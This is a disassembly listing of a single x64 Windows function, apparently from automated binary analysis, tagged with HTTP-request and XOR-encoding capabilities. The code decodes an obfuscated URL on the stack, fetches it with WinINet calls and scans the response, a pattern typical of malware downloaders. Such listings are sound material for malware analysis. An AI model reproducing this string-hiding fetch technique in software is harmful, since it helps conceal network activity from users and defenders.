Function at 0x14001a5a0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xfd0]
mov eax, 0x10d0
call fcn.140068490
sub rsp, rax
mov rax, qword [0x140081060]
xor rax, rsp
mov qword [rbp + 0xfc0], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0xff8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp - 0x78], rdx
mov qword [rbp - 0x70], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp - 0x80], rax
xor r14d, r14d
mov qword [rcx], r14
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_33
mov byte [rsp + 0x31], reloc.WS2_32.dll_socket
mov byte [rsp + 0x32], Ordinal_26
mov byte [rsp + 0x33], 0x61
movzx eax, byte [rsp + 0x30]
mov r9d, r14d
movabs r11, 0x53c4c9d7dfe32b60
mov r10, r11
lea rax, [rsp + 0x30]
sub r10, rax
lea esi, [r14 + 0xf]
nop dword [rax + rax]
lea rdx, [rsp + 0x30]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, esi
cmp rcx, rsi
cmovae rcx, rsi
shl cl, 2
mov rax, r11
shr rax, cl
and al, sil
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x30], al
inc r9
cmp r9, 4
jb 0x14001a650
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14001a9ac
mov byte [rsp + 0x38], Ordinal_217
mov byte [rsp + 0x39], 0xce
mov byte [rsp + 0x3a], 0xc0
mov byte [rsp + 0x3b], 0xc9
mov byte [rsp + 0x3c], 0xc2
mov byte [rsp + 0x3d], 0x83
mov byte [rsp + 0x3e], 0x92
mov byte [rsp + 0x3f], 0x9c
mov byte [rsp + 0x40], 0xc2
mov byte [rsp + 0x41], Ordinal_217
mov byte [rsp + 0x42], 0xca
mov byte [rsp + 0x43], 0xc3
mov byte [rsp + 0x44], Ordinal_217
mov byte [rsp + 0x45], 0xda
mov byte [rsp + 0x46], 0xdb
mov byte [rsp + 0x47], 0xdf
mov byte [rsp + 0x48], 0xee
mov byte [rsp + 0x49], 0xa9
mov byte [rsp + 0x4a], 0xab
mov byte [rsp + 0x4b], 0xa4
mov byte [rsp + 0x4c], 0xee
mov byte [rsp + 0x4d], 0xbb
mov byte [rsp + 0x4e], 0xac
mov byte [rsp + 0x4f], 0xb4
mov byte [rsp + 0x50], 0xed
mov byte [rsp + 0x51], 0x89
mov byte [rsp + 0x52], 0xa4
mov byte [rsp + 0x53], 0x9f
mov byte [rsp + 0x54], Ordinal_143
mov byte [rsp + 0x55], 0x92
mov byte [rsp + 0x56], 0xa9
mov byte [rsp + 0x57], 0x84
mov byte [rsp + 0x58], 0xb1
mov byte [rsp + 0x59], 0xda
movzx eax, byte [rsp + 0x38]
mov r9, r14
movabs r11, 0xec5fc3da4bc5a6b0
mov r10, r11
lea rax, [rsp + 0x38]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x38]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, esi
cmp rcx, rsi
cmovae rcx, rsi
shl cl, 2
mov rax, r11
shr rax, cl
and al, sil
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x38], al
inc r9
cmp r9, 0x22
jb 0x14001a780
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r12, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001a9a3
lea r9, [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14001a99a
nop dword [rax]
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x14001a995
mov r8d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x68]
call fcn.140023e10
mov rsi, qword [rbx + 0x10]
mov r14, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001a84c
mov r14, qword [rbx]
lea r15, [rbp - 0x68]
mov r13, qword [rbp - 0x50]
cmp r13, 0x10
setae byte [rsp + 0x34]
mov rdi, qword [rbp - 0x68]
cmovae r15, rdi
mov rax, qword [rbp - 0x58]
cmp rsi, rax
ja 0x14001a8e6
sub rax, rsi
test rsi, rsi
je 0x14001a943
lea r12, [rax + r15]
movsx edx, byte [r14]
lea r8, [r12 + 1]
sub r8, r15
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14001a8dc
nop word [rax + rax]
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001a8d3
inc rbx
lea r8, [r12 + 1]
sub r8, rbx
movsx edx, byte [r14]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x14001a8a0
jmp 0x14001a8dc
sub rbx, r15
cmp rbx, 0xffffffffffffffff
jne 0x14001a93e
mov rbx, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
cmp byte [rsp + 0x34], 0
je 0x14001a91a
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14001a912
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a98e
mov rcx, rdi
call fcn.140067b00
lea r9, [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp - 0x40]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14001a995
xor r14d, r14d
jmp 0x14001a810
mov r12, qword [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp r13, 0x10
jb 0x14001a98a
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14001a982
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a98e
mov rcx, rdi
call fcn.140067b00
mov al, 1
jmp 0x14001a9ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, qword [rsp + 0x70]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
mov rcx, qword [rbp - 0x80]
movabs rdx, 0xff00ff00ff00ff00
xor rcx, rdx
lea rdx, [rbp + 0xff8]
mov qword [rdx], rcx
mov rcx, qword [rbp + 0xfc0]
xor rcx, rsp
call fcn.140067ae0
lea r11, [rsp + 0x10d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret